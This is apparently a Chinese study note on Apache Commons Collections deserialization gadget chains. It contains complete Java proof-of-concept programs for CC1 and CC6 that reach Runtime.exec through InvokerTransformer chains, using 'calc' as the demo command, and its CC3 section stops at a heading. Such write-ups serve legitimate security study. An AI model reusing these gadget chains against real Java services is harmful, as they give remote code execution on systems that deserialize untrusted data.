CommonsCollections

CommonsCollections

参考

Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。

Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。

CC链 编写的是测试代码,和 ysoserial 中的稍有不同。

下面的是经常用到的 非常重要 的Transformer接口的实现类。

ConstantTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。

其 transform 方法作用是获取一个对象类型

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ConstantTransformer implements Transformer, Serializable {

private static final long serialVersionUID = 6374440726369055124L;

public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

private final Object iConstant;

public static Transformer getInstance(Object constantToReturn) {

if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}

//构造函数
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

//重写的transform方法,获取一个对象类型
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}

}

InvokerTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。

其 transform 方法作用是反射调用指定的方法并返回方法调用结果

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数 ,参数名 参数类型 参数值(数组形式)
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法,
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {//反射调用指定的方法并返回方法调用结果
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName,this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch …………
}
}
}

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

// 测试 InvokerTransformer
public class Test {
public static void main(String[] args) {
Transformer transformer2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
transformer2.transform(Runtime.getRuntime());
}
}

###输出
弹出计算器

CC1

Part-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.print.event.PrintJobEvent;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C1 {
public static void main(String[] args) throws IOException,NoSuchMethodException, InvocationTargetException, IllegalAccessException,ClassNotFoundException,InstantiationException
{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map =new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);

annotationInvocationHandler.setAccessible(true);

Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException
{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);

}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

Part-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.print.event.PrintJobEvent;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C6 {
public static void main(String[] args) throws IOException,NoSuchMethodException, InvocationTargetException, IllegalAccessException,ClassNotFoundException,InstantiationException
{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map =new HashMap<>();

Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);

annotationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationHandler.newInstance(Override.class, mapProxy);

serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException
{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);

}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.print.event.PrintJobEvent;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C6_1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map =new HashMap<>();

Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> zcg = new HashMap<>();
zcg.put(tiedMapEntry, "zcg");
lazyMap.remove("key");

Class c =LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(zcg);
unserialize("ser-c6_1.bin");

}

public static void serialize(Object obj) throws IOException
{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser-c6_1.bin"));
out.writeObject(obj);

}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

CC3

用到了新的命令执行方法

动态类加载

参考